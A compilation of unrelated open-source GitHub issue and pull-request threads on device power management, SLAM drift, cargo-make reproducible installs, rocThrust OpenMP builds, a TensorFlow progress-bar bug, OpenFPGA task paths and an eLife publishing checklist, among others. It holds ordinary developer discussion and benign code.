As you can see, each callback represents an action: prepare, suspend... States are not reflected here. The proposal for Zephyr is to have a single callback (as we do now) with the action as an argument, that is:
int my_pm_control(const struct device *dev, enum pm_device_action action);

When drawing a device state diagram, actions become the natural way to represent transitions:

If considering async case:

@ceolin @nashif The rationale behind pm actions:
If we take Linux as a reference, all PM operations are held by struct dev_pm_ops:
struct dev_pm_ops {
	...
	int (*prepare)(struct device *dev);
	void (*complete)(struct device *dev);
	int (*suspend)(struct device *dev);
	int (*resume)(struct device *dev);
        ...
};

ref https://elixir.bootlin.com/linux/latest/source/include/linux/pm.h#L277
As you can see, each callback represents an action: prepare, suspend... States are not reflected here. The proposal for Zephyr is to have a single callback (as we do now) with the action as an argument, that is:
int my_pm_control(const struct device *dev, enum pm_device_action action);

When drawing a device state diagram, actions become the natural way to represent transitions:

If considering async case:

I liked the idea of using actions instead of states.

Closing, #36759 contains relevant changes listed here.


Nested.cy.js

test "African American Review" says lookfor: 'African American Review', type: 'journal',
Testergebnisse lt. cypress zeigen über der Trefferliste Suche in "alle Felder", s. http://stabikat-ranking1/Search/Results?lookfor=African American Review&type=Journal
what's going on?

 type=JournalSearch  not journal https://stabikat.de/Search/Results?lookfor=dad&type=JournalSearch

So in nested.cy.js line 37 should be:  type:'journalSearch' ?
Seems weird....

Seems solved to me...


Benchmarking within the hypervisor

Hey,
I was wondering if there is a timer implementation in Bareflank, basically
for benchmarking purposes?
I can see that bfsdk uses chrono for benchmarking but it seems that the function benchmark(..) hangs whenever I call it within my hypervisor pass (basically similar to the hook example). Any ideas?
Thanks!

There isn't. Actually, we have worked pretty hard to ensure that Bareflank doesn't need a timer, and relies on the host operating system for timing, scheduling, etc...

Ah, I see. Thanks for the information anyways! :)


Drift with Intel Realsense D455

Hi there,
I'm trying the Visual SLAM ROS package with Intel Realsense D455 in an outdoor environment. I found a rather big drift in the SLAM output. I recorded the infrared camera images/camera info in ROS2 bags and play it back to the Issac visual slam.  I compare the SLAM result with colmap, and it shows about 1.2m error in 10 seconds. I also check the scale of the resulting landmark point cloud. The scale is about 0.7x-0.8x smaller.
I suspect that I did something wrong. Please kindly check my launch file. Any suggestion will be much appreciated.
Please see the launch file.
`
import launch
from launch_ros.actions import ComposableNodeContainer, Node
from launch_ros.descriptions import ComposableNode
def generate_launch_description():
visual_slam_node = ComposableNode(
    name='visual_slam_node',
    package='isaac_ros_visual_slam',
    plugin='isaac_ros::visual_slam::VisualSlamNode',
    parameters=[{
                'enable_rectified_pose': True,
                'denoise_input_images': True,
                'rectified_images': False,
                'enable_debug_mode': False,
                'debug_dump_path': '/tmp/elbrus',
                'enable_slam_visualization': True,
                'enable_landmarks_view': True,
                'enable_observations_view': True,
                'enable_localization_n_mapping': True,
                'enable_imu': True,
                'map_frame': 'map',
                'odom_frame': 'odom',
                'base_frame': 'camera_link',
                'input_left_camera_frame': '',
                'input_right_camera_frame': '',
                'path_max_size': 10000,
                'msg_filter_queue_size': 10000,
                'input_imu_frame' : 'camera_imu_frame',
                }],
    remappings=[('stereo_camera/left/image', 'camera/infra1/image_rect_raw'),
                ('stereo_camera/left/camera_info', 'camera/infra1/camera_info'),
                ('visual_slam/imu', '/camera/imu'),
                ('stereo_camera/right/image', 'camera/infra2/image_rect_raw'),
                ('stereo_camera/right/camera_info', 'camera/infra2/camera_info')]
)

visual_slam_launch_container = ComposableNodeContainer(
    name='visual_slam_launch_container',
    namespace='',
    package='rclcpp_components',
    executable='component_container',
    composable_node_descriptions=[
        visual_slam_node
    ],
    output='screen'
)

return launch.LaunchDescription([visual_slam_launch_container])

`

With mention of IR images it suggests the emitter on the Realsense camera is enabled.  This needs to be disabled as the Realsense IR emitter can cause issues for VSLAM as it creates a visual pattern in the left & right camera images that moves with the camera in the scene.

Yeh. I disabled the emitter entirely when I record the bag. And since it's an outdoor environment, the emitter pattern is not visible either.

We've pushed out changes to isaac_ros_visual_slam_realsense.launch.py with updates for changes in Intel Realsense parameters. Could you try running with this launch file and let us know if you're still seeing large drift?

Thanks for the updated launch file. I think I had most of the parameters in your updated launch file, except the frame rate and resolution. I was using 848x480x60. Is the 90 fps a requirement to get reasonable drift? I recorded the rosbag2 with 60 fps. Higher frame rate would introduce frame drops in recording.
Also, I tried VINS-Fusion with calibrated parameters. It seems that the calibration suggests that there's a time diff between the infrared cameras and the IMU. After I input the time diff, VINS-Fusion seems to work properly. Is there a way to input such time diff in the isaac_ros_visual_slam framework?
Thanks


'other-extension' section in hid.cabal don't seem to work properly.

(Unless appropriate pragmas added to the file)

Should use default-extensions instead.


Tutorial links and blog post

As mentioned in #1 , links in the readme file lead to a 404 error. If these tutorials are used internally, maybe it would be nice to add a line to say so, otherwise we think it is broken (if for technical reasons it is difficult to modify these lines).
Instead, the following (very nice and clear btw) blog post exists:

https://blog.janestreet.com/finding-memory-leaks-with-memtrace/

Maybe adding the link in the README file could be helpful? I also noticed that the following link in the blog post is broken (404):

https://blog.janestreet.com/finding-memory-leaks-with-memtrace/lifetimes_of_queued_objects.ml

Sorry about this. This issue has been fixed weeks ago internally, but our public release process has been frozen due to a breaking change in Core that is taking a while to get through the release process.
I'm going to close this issue since it should get resolved automatically as soon as our release process gets unstuck.


Add Blazor Wordle app to Games Section

Hi
Could you please add a Blazor clone of the popular Wordle game called "Blazor Wordle" I've developed for demo purposes to the Games section?
Here is the GitHub repo - https://github.com/johnt84/WordleBlazorApp
Here is the Live site deployed as an Azure Web app - https://wordleblazorapp.azurewebsites.net/
Created a https://github.com/AdrienTorris/awesome-blazor/pull/559 for this request.  Can you please review please?

Great, thanks Adrien


Refactor nightly builds to use consolidated project

Done, all nightly builds as of today (5/17/2021) are now from this project: http://opensha.usc.edu/apps/opensha/nightlies/latest/


Fix release notes

Description

Related issues/PRs

Todos

[ ] Tests
[ ] Documentation
[ ] Release note

Release Note

None required

Deploy preview for calico ready!
Built with commit 5f4a502e7bdf2163685a8e4eb18445b440b70876
https://deploy-preview-4208--calico.netlify.app

There are some typos in the release notes (and a sentence that just stops when talking about Windows!) but this seems like an unrelated problem.


Fix Error Refcount Bug

This fixes https://oss-fuzz.com/v2/testcase-detail/6462055064272896?noredirect=1

test this please

No significant performance differences

No significant performance differences

#9542 Fails. The mac tests are lagging, but any issue this fix had would have been caught by asan. Merging


Minimum version dependency installation

Features Description
I'm currently dealing with bitrot happening in my kernel, which stopped building after leaving it untouched for a couple months. It turns out that newer version of build dependencies stopped building on the rustc version pinned by my project, which caused the build to fail.
It'd be nice to find a way to tell cargo-make to leverage the min-version and cargo's --locked parameter to ensure reproducibility of the builds.
Describe the solution you'd like
A flag or an environment variable to cargo-make (--reproducible, CARGO_MAKE_REPRODUCIBLE=true?) that, when set, causes every crate installed through install_crate = { crate_name = "xargo", min_version = "1.0.0" } to be installed as if ran with cargo install --version 1.0.0 --locked.

cool idea.
do you think install_crate_args is not good enough because its not global?

Huh, install_crate_args somehow flew under my radar. There doesn't seem to be any example in the docs showing how to use it? It's only mentioned here in the readme. I had to look at the Makefile built into cargo-make to find how it's used ^^'. Maybe this example should find its way in the readme?
Indeed, having something more "global" would be nice, as it'd avoid having to redundantly specify the min_version and writing a ton of boilerplate to handle both "install latest" and "install exact" scenarios - which I want to both support. I still expect users to want to install the latest version of the tools (and only fallback to the min_version if that fails for whatever reason), while CI will always use the min_version for reproducibility.
To do this with install_crate_args, I guess I'd write my rules like:
[tasks.install-xargo-locked]
private = true
description = "Installs xargo 0.9.8 reproducibly"
install_crate = { crate_name = "xargo", binary = "xargo", test_arg = "--help", min_version = "0.9.8" }
install_crate_args = ["--locked", "--version", "0.9.8"]

[tasks.install-xargo-latest]
private = true
description = "Installs xargo 0.9.8, fetching latest if available."
install_crate = { crate_name = "xargo", binary = "xargo", test_arg = "--help", min_version = "0.9.8" }

[tasks.install-xargo]
run_task = [
    { name = "install-xargo-locked", condition = { env_set = ["REPRODUCIBLE_BUILD"] } },
    { name = "install-xargo-latest" },
]

Which kinda feels extremely boilerplate-y for my tastes.

first of all, you don't have to duplicate things, right? you can extend for example:
[tasks.install-xargo-locked]
extend = "install-xargo-latest"
install_crate_args = ["--locked", "--version", "0.9.8"]

[tasks.install-xargo-latest]
private = true

description = "Installs xargo 0.9.8, fetching latest if available."
install_crate = { crate_name = "xargo", binary = "xargo", test_arg = "--help", min_version = "0.9.8" }

which makes things more readable and maintainable.
i would even make the version as env var in the env table to share same value.

second, i can implement that global env var to enable this automatically, but i hope it will actually help and not cause other problems.

@roblabla  I just pushed support for this global flag.
if CARGO_MAKE_CRATE_INSTALLATION_FROZEN=true you will have version and frozen flags added automatically.
CARGO_MAKE_CRATE_INSTALLATION_LOCKED=true is the same, but instead of frozen, it adds locked.
you must have min_version defined in that specific installation info for this to be triggered.
can you please try it out and give me feedback?

I just took a quick look (didn't run it yet, just going over the code), I think you forgot to prefix the version with --version here? cargo install xargo --locked 0.3.18 won't work (it treats 0.3.18 as a crate to install), it needs to be cargo install xargo --locked --version 0.3.18 ^^.

woops. right. thanks.
and thanks for all the great idea you keep giving :)

Code updated and added relevant docs as well.
I'm relying on you for functional testing of it (didn't have much time myself, so only added unit tests for actual expected result and not crate actual installation).

Just ran 0.29 on my project, the LOCKED installation works perfectly fine :). I'm not entirely sure FROZEN makes sense for cargo install? When I tried installing xargo with --frozen, cargo complained with

error: attempting to make an HTTP request, but --frozen was specified

(Full command: [cargo-make] INFO - Execute Command: cargo install --force --frozen --version 0.3.18 xargo)
So I'm not sure how --frozen is supposed to be used :eyes:.

ya, frozen does seem only relevant for dependencies. will remove that.

@roblabla just released a new version with this.
as usual thanks a lot for the feedback. you provided many great ideas and contributions.


Implement Extractlane, UaddSat, and UsubSat for Cranelift interpreter

Implemented the Extractlane, UaddSat, and UsubSat opcodes for the interpreter,
and added helper functions for working with SIMD vectors (extractlanes, vectorizelanes,
and binary_arith).
Copyright (c) 2021, Arm Limited

Thanks for filing the issue!
Could you add a simd- prefix to the test file names? Just to keep in line with the other tests on that directory.
Otherwise LGTM! Thank you!

There's a cargo-deny issue that I think you'll need to rebase over #3227 to fix; once you've done that, then I'm happy to merge.


silx view: Fixed setting focus at startup when opening a dataset

This PR aims at opening the vis at startup when providing a data path along with the file to open: closes  #3916
To achieve so, this PR adds an extra argument to Hdf5TreeModel.sigH5pyObjectLoaded in order to pass the full filename used to open the item.

I can't really review the code, but I gave a few tries and it seems to be working.
Thanks!


Backend error on class alias aliasing a class with parameters

In a first module, the following classes are defined:
shared class GenericClass<Element>(Element element) {
}

shared interface Aliases<Element> {
    shared class GenericClassAlias(Element elem) => GenericClass<Element>(elem);
}

shared interface UsedClass<Element>
		satisfies Aliases<Element> {
	shared default void withGenericClass(GenericClassAlias genericClassInstance) {}
}

and in second module the following class uses the classes of the first module (imported through the model loader):
shared object usingObject satisfies UsedClass<String> {
	shared actual void withGenericClass(GenericClassAlias genericClassInstance) {}
}

This produces  a backend error during the generation because in the following line of MethodDefinitionBuilder, the refinedParameter is null when trying to call getTopmostRefinedDeclaration() on Aliases<Element>.GenericClassAlias.elem.
After an analysis, it appears that, during the model loading/ completing of the corresponding LazyClassAlias declaration, the constructor is not set for default constructors or for classes with a parameter list and no constructor. Setting it correctly fixes the problem.
I'm pushing this fix, since it is blocking the IDE development and all the Model loader tests pass.
However this might require further review, and also additional tests.

Reopened for review by the backend team

LGTM.


DOB check currently does not check the length of the day, month, and year

the following URL will pass URL and date validation, when the format should be yyyy-mm-dd
http://localhost:3000/first-time/99-10-1990/husband-wife-civil/medical/no/:reference

fixed by #139


Update type_traits.h.

A regression was introduced in 2b80e29803d60f01701a67bc57ef06dacfe8af8b. In case of THRUST_DEVICE_SYSTEM_OMP build, the invoke_result_t is undefined due to missing #else branch. See e.g. https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1064730

I'm compiling the following snippet:
// omp_test.cpp

#include <cstdlib>
#include <iostream>

#include <omp.h>

#include <thrust/device_vector.h>
#include <thrust/host_vector.h>
#include <thrust/sort.h>
#include <thrust/transform.h>

int main() {
#ifdef _OPENMP
    std::cout << _OPENMP << std::endl;
#endif

    int N = 160000000;
    thrust::host_vector<int> h_data(N);

    for (auto &num : h_data) {
        num = rand();
    }

    thrust::device_vector<int> d_data(h_data);
    thrust::sort(d_data.begin(), d_data.end());

    std::cout << d_data[N / 2 - 1] << "\n"
              << d_data[N / 2] << "\n"
              << d_data[N / 2 + 1] << std::endl;

    return 0;
}

Compiling with the following works and also prints the OpenMP version:
hipcc -o omp_test omp_test.cpp -fopenmp -Xopenmp-target=amdgcn-amd-amdhsa -DTHRUST_DEVICE_SYSTEM=THRUST_DEVICE_SYSTEM_OMP && ./omp_test`

Though dropping -Xopenmp-target= seems to fail (or perhaps I'm missing something!):
hipcc -o omp_test omp_test.cpp -fopenmp -DTHRUST_DEVICE_SYSTEM=THRUST_DEVICE_SYSTEM_OMP && ./omp_test

I'm not fully if the intent is also to have rocThrust work with OpenMP targeting host, or just fix OpenMP offloading to the GPU.
CC: @stanleytsang-amd @LocutusOfBorg

Just as I wrote that, I found out the cause of the rest of the build errors. detail/nv_target.h contains a similar structure as the one modified in the first commit of this PR. This causes various symbols to not be defined when using the OpenMP backend (NV_IS_HOST, NV_IS_DEVICE, NV_IF_TARGET, etc.). Simply reusing target.h from the HIP system should resolve the issue.

Adding this patch on top of this PR will fix this:
diff --git a/thrust/detail/nv_target.h b/thrust/detail/nv_target.h
index 1f93a09..131ca72 100644
--- a/thrust/detail/nv_target.h
+++ b/thrust/detail/nv_target.h
@@ -27,4 +27,8 @@
 #  include <thrust/system/hip/detail/nv/target.h>
 #elif THRUST_DEVICE_SYSTEM == THRUST_DEVICE_SYSTEM_CUDA
 #  include <nv/target>
+#else
+// When using a different backend, e.g. OpenMP, we still need to define the target.
+// We can simply reuse the HIP targets for this.
+#  include <thrust/system/hip/detail/nv/target.h>
 #endif

Please verify if this resolves the issue on your end too 😃

I already fixed with my chunk, but I'm happy to also add your one! or feel free to add it if you have access to my PR code

I like it!

@stanleytsang-amd Is there anything else holding back the merge or are we good to go?

Apologies.  CI looks good, I'll merge it in now.


fix: sync Terraform CLI args for 'show' command

Description
Pass the tfplan path when show command is requested with --terragrunt-output-folder.
Fixes 0ecffe01e63b831593a8259d6560bd8e9fc9fa61

TODOs
Read the Gruntwork contribution guidelines.

[ ] Update the docs.
[x] Run the relevant tests successfully, including pre-commit checks.
[x] Ensure any 3rd party code adheres with our license policy or delete this line if its not applicable.
[ ] Include release notes. If this PR is backward incompatible, include a migration guide.

Release Notes (draft)

Added / Removed / Updated [X].
Migration Guide

Sure thing, I'll take a look today

@denis256 should be there - fails before actual change and passes with it.

@denis256 @levkohimins anything I can do to get this reviewed and merged? Thanks.

@denis256 @levkohimins I really apologize for spamming you but can this be merged please?

Hi @ignatenkobrain, Sorry for the delay, I'll do it right now.

Thank you!

@ignatenkobrain, thanks for your contribution!
Resolved in v0.57.11 release.


[BUG] Item use wrapper (used for mis/fortune) does not get hit when using an action direclty

I've got a wrapper around Item.use that's recalculating the dice based on how much mis/fortune the actor has. If an action is used directly, this wrapper is skipped. Investigate if it's viable to use the pf1CreateActionUse hook

Fixed in 2.12.3


Warn or refuse to import invalid certificates

One is able to import a certificate which is no longer valid via API: PUT call on '/api/v1/config/clients/:client_id/keys'
see: https://github.com/Fraunhofer-AISEC/omejdn-server/blob/master/omejdn.rb#L753
To avoid mistakes and long debugging sessions, the API shall refuse to import such an invalid certificate or at least provide a warning. Maybe we can do something with another parameter like Boolean force_import

Sounds reasonable. Expirations may bite us later: It could be that we want to provision clients ahead of time with certificates not yet valid ("Not Before" field).
So the question is: How to define "validity". Do we need to check against a trust store?
At least the "Not After" field should be checked, since we do that upon authorization.

We probably also want to have a standardized error message format for the API, just like OAuth errors have a fixed format.
Currently, the Admin- and Selfservice APIs provide next to no error checking besides authorization.


Model.fit displays wrong information on progress bars for attrs classes

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow):
Yes, a minimal self-contained python script demonstrating the bug

OS Platform and Distribution (e.g., Linux Ubuntu 16.04):
OSX

TensorFlow installed from (source or binary):
Installed from anaconda

TensorFlow version (use command below):
1.14

Python version:
3.6.9

Describe the current behavior
Wrong progress bar information [1000/12] overly long progress bar
Describe the expected behavior
Correct progress bar information [100/100] progress bar reasonably short
Code to reproduce the issue
import attr
import numpy as np

from tensorflow.python.keras import Input, Model
from tensorflow.python.keras.layers import Dense
from tensorflow.python.keras.optimizers import SGD
from tensorflow.python.keras.utils import Sequence

def make_model(D):
    x = Input(shape=[D])
    y = Dense(1, activation=None)(x)
    model = Model(inputs=x, outputs=y)
    model.compile(optimizer=SGD(), loss="mean_squared_error")
    return model

@attr.s
class Feed(Sequence):
    foo = attr.ib(default=np.arange(12))  # Remove this attribute to get the expected behaviour
    batch_size = attr.ib(default=10)
    feature_dimension = attr.ib(default=3)

    def __getitem__(self, idx):
        features = np.random.randn(self.batch_size, self.feature_dimension)
        targets = np.sum(features, axis=1, keepdims=True)
        return features, targets

    def __len__(self):
        return 100

if __name__ == "__main__":
    feed = Feed()
    model = make_model(feed.feature_dimension)
    model.fit(x=feed, epochs=10)

Other info / logs
The bug is caused by
def _get_num_samples_or_steps(data, steps_per_epoch):
  """Returns number of samples or steps, and whether to use steps count mode."""
  flat_inputs = nest.flatten(data)
  if hasattr(flat_inputs[0], 'shape'):
    return int(flat_inputs[0].shape[0]), False
  return steps_per_epoch, True

in module tensorflow.python.keras.engine.training_generator.
_get_num_samples_or_steps should always return steps_per_epoch, True for a Sequence irrespective of the attrs.Attributes of the class implementing the Sequence interface.
The statement if data_utils.is_generator_or_sequence(x): in module tensorflow.python.keras.engine.training is already ensuring that the passed object is a Sequence and therefore the call to function _get_num_samples_or_steps seems superfluous.

Could replicate the error with TF Version 1.14 and 1.15 and by importing from tensorflow.python.keras and  tensorflow.keras as well.
Here is the Gist. Thanks!

@trendelkampschroer Thanks for the issue!
This is fixed in the latest tf-nightly: pip install tf-nightly


Update installation instructions for sparrow

Should make it easier than installing from source.

Thank you, @awvwgk.


Statistics

I love JSONAPI because it allows me to easily write commonly-seen functionality - picture a table that you can filter, sort, paginate, and hide/show columns.
The only thing missing from our commonly-seen table is a total count of records. Google around to see many using meta for this purpose. However, this is missing from the spec which means implementations are ad-hoc instead of common functionality library authors can build around.
I propose a stats query parameter to solve this problem:
/posts?stats[total]=count
Would render
{
  "meta": {
    "stats": {
      "total": {
        "count": 100
      }
    }
  }
}

This pattern works with any arbitrary statistic:

/posts?stats[rating]=average

{
  "meta": {
    "stats": {
      "rating": {
        "average": 100
      }
    }
  }
}

This is currently implemented in my jsonapi_suite project. I'd be happy to get this in even as a recommendation or extension.

Having a common structure for this limited section of the "meta" area will be pretty essential going forward if any decent universal client libraries are planning to evolve. Otherwise there will be no way to consistently retrieve things like pagination info for use in higher-level abstractions provided by ORM-esque functionality.

We definitely want to allow APIs to advertise their usage of fields and metadata in greater specificity than the base-spec defines. The work currently being done under the banner of "profile extensions" applies here. We'll be discussing this in more detail in the coming weeks, with a goal of landing for 1.1.


OpenFPGA installation to shared non-user writable loxaiton

From what I understand the OpenFPGA run_fpga_task.py scripts write their run*** outputs in the task configuration folders located inside the OpenFPGA directories.
I need to be able to supply my own configuration from a separate location and have the tool flow use a folder outside OpenFPGA install directory for its outputs.
This is because the tool will be installed in /opt or some globally visible path in a multi-user environment. I’d rather not force everyone to clone the full repository.
Am I missing a way to do this?

Thank you for your interests in OpenFPGA. @ganeshgore I believe this feature is supported by openfpga flow scripts. Can you provide more details for @nachiket ?
We can build a tutorial from this effort and add it to our documentation. @nachiket is that helpful?

Sounds good -- it would help to have a multi-user installation workflow that doesn't need everyone to have write access into the OpenFPGA installation folder.

Here's the command I'm running:
python3 $OPENFPGA_ROOT/openfpga_flow/scripts/run_fpga_task.py basic_tests/generate_fabric

I'd like the run** folders to be generate outside OPENFPGA_ROOT. I will provide and edited generate_fabric configuration myself without using the version in OPENFPGA_ROOT.
Here OPENFPGA_ROOT=/opt/OpenFPGA where I've installed OpenFPGA.

Hello Nachiket,
Thank you for using OpenFPGA. We also have a similar multi-user environment, and this is how we generally integrate with OpenFPGA.
Create a directory MY_OPENFPGA_TASK consisting of config/task.conf and runOpenFPGA.sh anywhere in your environment.
The directory structure will look like this
<directory XYZ>
├── runOpenFPGA.sh
└── MY_OPENFPGA_TASK
        ├── config
             └── task.conf

# runOpenFPGA.sh
export OPENFPGA_PATH=<Root directory of OpenFPGA path>
export TASK_NAME=MY_OPENFPGA_TASK

rm -f ${OPENFPGA_PATH}/openfpga_flow/tasks/${TASK_NAME}

ln -s ${PWD}/${TASK_NAME} ${OPENFPGA_PATH}/openfpga_flow/tasks/

(cd $OPENFPGA_PATH && source openfpga.sh && run-task ${TASK_DIR_NAME})

Run runOpenFPGA.sh script from  the same directory XYZ.
In case you have any supporting files like .xml, .openfpga or .v you can add them under the MY_OPENFPGA_TASK directory  and use relative paths.
let me know if that helps.

I don't have write permissions into the OPENFPGA folder. The rm and ln commands above won't work.

Ok let me check few things and get back to you asap.

Hi -- do you have a suggested workflow for this operation mode?

Hello, I created a pull request yesterday #221, It will be merged today after the review.
Now task script will support this operating mode.
python3 $OPENFPGA_ROOT/openfpga_flow/scripts/run_fpga_task.py generate_fabric

where generate_fabric is a task in the current directory.
Please let me know if that addresses your problem

Ok I'll wait for the merge and test it out today. Thanks a lot!

I just tried it manually and seems to work fine. Thanks!

Commented on another thread, but just checking-in on this thread to see if this is supported in the newer OpenFPGA release. It seem to break the 2021 teachings scripts.

@nachiket We have reworked the flow scripts to ease the use w.r.t. the non-user writable location. Now you do not need to specify any local task. You can directly call the script by providing the absolute path to your task folder.
For example,
python3 openfpga_flow/scripts/run_fpga_task.py /home/xifan/example_task

Perfect! That worked.
Just and FYI, relative path didn’t seem to work.

On Sep 25, 2023, at 2:50 PM, tangxifan @.***> wrote:
@nachiket https://github.com/nachiket We have reworked the flow scripts to ease the use w.r.t. the non-user writable location. Now you do not need to specify any local task. You can directly call the script by providing the absolute path to your task folder.
For example,
python3 openfpga_flow/scripts/run_fpga_task.py /home/xifan/example_task
—
Reply to this email directly, view it on GitHub https://github.com/lnis-uofu/OpenFPGA/issues/209#issuecomment-1734290770, or unsubscribe https://github.com/notifications/unsubscribe-auth/AAA42WY4J7JW3TNFLOUD7ELX4HHAJANCNFSM4W5GTEJA.
You are receiving this because you were mentioned.


Issue with migrating

There is the problem with migrating this package ' django_tenants_celery_beat' causes that dependcies are different than after reupdating/reinstalling pip packages from Docker.
django.db.migrations.exceptions.InconsistentMigrationHistory: Migration django_tenants_celery_beat.0001_initial is applied before its dependency tenants.0003_auto_20210421_0627 on database 'default'.

A temporary solution is to copy the entire package so that the migrations remain unchanged.

Could you provide some more information on your setup? How did you create your migrations?
This package comes with no migrations, so you have to make them yourself.

This should be resolved in 0.2.0.

Hello, I have the 0.1.1 and I am having this problem when I try to makemigrations. It references a tenant migration that is not there. I have uninstalled and reinstalled, I tried to re create the migrations and everything, but nothing works.
Please help

Hello, I have a problem with this migrations. I had to get in the app folder inside the virtualenv, edit the created migration to remove the dependency, run the migrate and everything is fine. But when I run make migrations it re-creates a very similar migration that perform the operations it already did. Am I making any sense? What should I post to make this problem more understandable?


feat(cdk/collections): extract view repeater strategies

A ViewRepeater implements a strategy for rendering a list of elements inside a common ViewContainerRef. It encapsulates all the business logic pertaining to inserting, moving, and deleting embedded views. This PR extracts existing strategies from virtualForOf and the CDK table, so we can reuse them in upcoming virtual scroll work.
Summary

Extracts view repeater strategies from virtualForOf and CDK table.
Refactors virtualForOf and CDK table to use the strategies.
With the exception of extracting the view repeater strategies, no behavior has changed.

For now, this API will be internal until we've tested it with enough components to know it's stable.

The failing tests are related to the MDC MatSlider. The changes made in this PR shouldn't have impacted them.

@mmalerba The latest revisions are complete.

@MichaelJamesParsons looks like the PR just needs to be rebased

Looks like there's a lint issue that needs to be fixed, otherwise ready to go

@jelbourn @mmalerba All fixed

@googlebot ping


MSID: 90363 Version: 1 DOI: 2<IP_ADDRESS>2220

"msas": "Microbiology and Infectious Disease"
"msid": "90363"
"preprintDoi": "10.1101/2<IP_ADDRESS>2220"
"Reviewed Preprint posted": "2023-09-08"
"Sent for peer review": "2023-07-03"
"Posted to bioRxiv": "2023-08-07" (link: "Go to bioRxiv": "https://www.biorxiv.org/content/10.1101/2<IP_ADDRESS>2220v1/")
[PLACE PDF URL HERE WHEN AVAILABLE] See step 7
Step 1. Inform bioRxiv
Who can help: @QueenKraken, @nlisgo, @scottaubrey

[x] Manuscript is in data hub index (https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v1/by-publisher/elife/get-by-manuscript-id?manuscript_id=90363)

Step 2. Create preview of manuscript
Who can help: @fred-atherden, @nlisgo, @scottaubrey

[ ] Manuscript is available for preview (https://prod--epp.elifesciences.org/preview/90363/v1)

[ ] Trigger import for staging: https://prod--epp.elifesciences.org/import
[ ] Sync data folder with s3://prod-elife-epp-data/data
[ ] Trigger import for staging: https://staging--epp.elifesciences.org/import
[ ] Sync data folder with s3://staging-elife-epp-data/data
[ ] Pull request created to enhanced-preprint-data
[ ] Post link to pull request below

Pull request: [PLACE LINK TO PULL REQUEST HERE]
Detailed instructions: https://github.com/elifesciences/enhanced-preprints-data#add-a-manuscript
Step 3: Awaiting public reviews and QC
Who can help: Production team

[ ] QC passed or QC not needed

Who can help: Editorial team

[x] Public reviews available on sciety (https://sciety.org/articles/activity/10.1101/2<IP_ADDRESS>2220)
[x] Manuscript and editor details at the top of this issue (Supplied by Editorial team)
[ ] Reviews returned by EPP - https://prod--epp.elifesciences.org/api/reviewed-preprints/90363/v1/reviews

Example
"msas": "Genetics and Genomics", "Neuroscience"
"msid": "84628"
"version": "1"
"preprintDoi": "10.1101/2<IP_ADDRESS>4241"
"articleType": "Reviewed Preprint"
"status": "Published from the original preprint after peer review and assessment by eLife."

"Reviewed Preprint posted": "2023-01-02"
"Sent for peer review": "2022-10-28"
"Posted to bioRxiv": "2022-11-21" (link: "Go to bioRxiv": "https://www.biorxiv.org/content/10.1101/2<IP_ADDRESS>4241v1")

Editors:
Reviewing Editor
Michael B Eisen
University of California, Berkeley, United States
Senior Editor
Michael B Eisen
University of California, Berkeley, United States

Step 4: Modify manuscripts.json (no PDF)

[ ] Reviewed preprint is published to EPP (https://elifesciences.org/reviewed-preprints/90363)

[ ] Pull request created to enhanced-preprint-client
[ ] Pull request switched to "Ready for review"
[ ] Post link to pull request below

[ ] Request that a doi be registered

[ ] Post link to #enhanced-preprint comment below

Pull request: [PLACE LINK TO PULL REQUEST HERE]
#enhanced-preprint comment thread: [PLACE LINK TO COMMENT HERE]

Instructions to modify manuscripts.json

Visit: https://github.com/elifesciences/enhanced-preprints-client/actions/workflows/publish-manuscript.yaml
Click: Run workflow
Complete the form and click "Run workflow"
A successful run should result in a new pull request at https://github.com/elifesciences/enhanced-preprints-client/pulls
Open the pull request and click the "Ready for review" button to trigger tests
Once the tests pass and you are happy with the changes the PR can be merged

Example pull request: https://github.com/elifesciences/enhanced-preprints-client/pull/334/files
Once the pull request is merged in it should be available a few minutes later.

Request that a doi
Post the following in #enhanced-preprint:
@Fred can you register a doi for https://elifesciences.org/reviewed-preprints/90363

Step 5: Awaiting search reindex

[ ] Reviewed preprint is avaliable on journal homepage (https://elifesciences.org)

The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.

Additional info
If needed, the jenkins pipeline to reindex search can be triggered sooner.
https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 6: Published! Request PDF generation

[ ] Post the link to the PDF url at the top of the issue

[ ] Post link to #enhanced-preprint comment below

#enhanced-preprint comment thread: [PLACE LINK TO COMMENT HERE]
Post the following to the #enhanced-preprint on slack:
@Ryan Dix-Peek please can you generate a PDF for https://elifesciences.org/reviewed-preprints/90363

Step 7: Introduce PDF to data folder and git repo

[ ] PDF is avaliable at https://github.com/elifesciences/enhanced-preprints-data/raw/master/data/90363/v1/90363-v1.pdf

Detailed instructions: https://github.com/elifesciences/enhanced-preprints-data#add-a-pdf
Step 8: Add PDF url to manuscripts.json

[ ] Reviewed preprint PDF is available for download (https://prod--epp.elifesciences.org/reviewed-preprints/90363)

[ ] Pull request created to enhanced-preprint-client
[ ] Pull request switched to "Ready for review"
[ ] Post link to pull request below

[PLACE LINK TO PULL REQUEST HERE]

Instructions to add PDF url to manuscripts.json

Visit: https://github.com/elifesciences/enhanced-preprints-client/actions/workflows/add-pdf-url-to-manuscript.yaml
Click: Run workflow
Complete the form and click "Run workflow"
A successful run should result in a new pull request at https://github.com/elifesciences/enhanced-preprints-client/pulls
Open the pull request and click the "Ready for review" button to trigger tests
Once the tests pass and you are happy with the changes the PR can be merged

Example pull request: https://github.com/elifesciences/enhanced-preprints-client/pull/397/files
Once the pull request is merged in it should be available a few minutes later.

Step 9: Done!

[ ] Kettle is on!

eLocations missing from reference list


Create python.html

basics of python

Usage of AI is detected in the content and the content is not completed
Please look into this and avoid AI otherwise PR will be labelled as spam from the next time


MLAT problems with version 8.0~dev (and Python 3.9?)

The current build (built with piaware_builder/sensible-build.sh) seems to not work with my bullseye environment with Python 3.9 on my Raspberry Pi, fa-mlat-client exits with EXIT 255 – see below:
Nov  6 17:15:22 server piaware[947]: Starting multilateration client: /usr/lib/piaware/helpers/fa-mlat-client --input-connect localhost:30005 --input-type dump1090 --results beast,connect,localhost:30104 --results beast,listen,30105 --results ext_basestation,listen,30106 --udp-transport 2620:13d:c004:11::198:16950:2731017259
Nov  6 17:15:22 server piaware[947]: mlat-client(162519): Traceback (most recent call last):
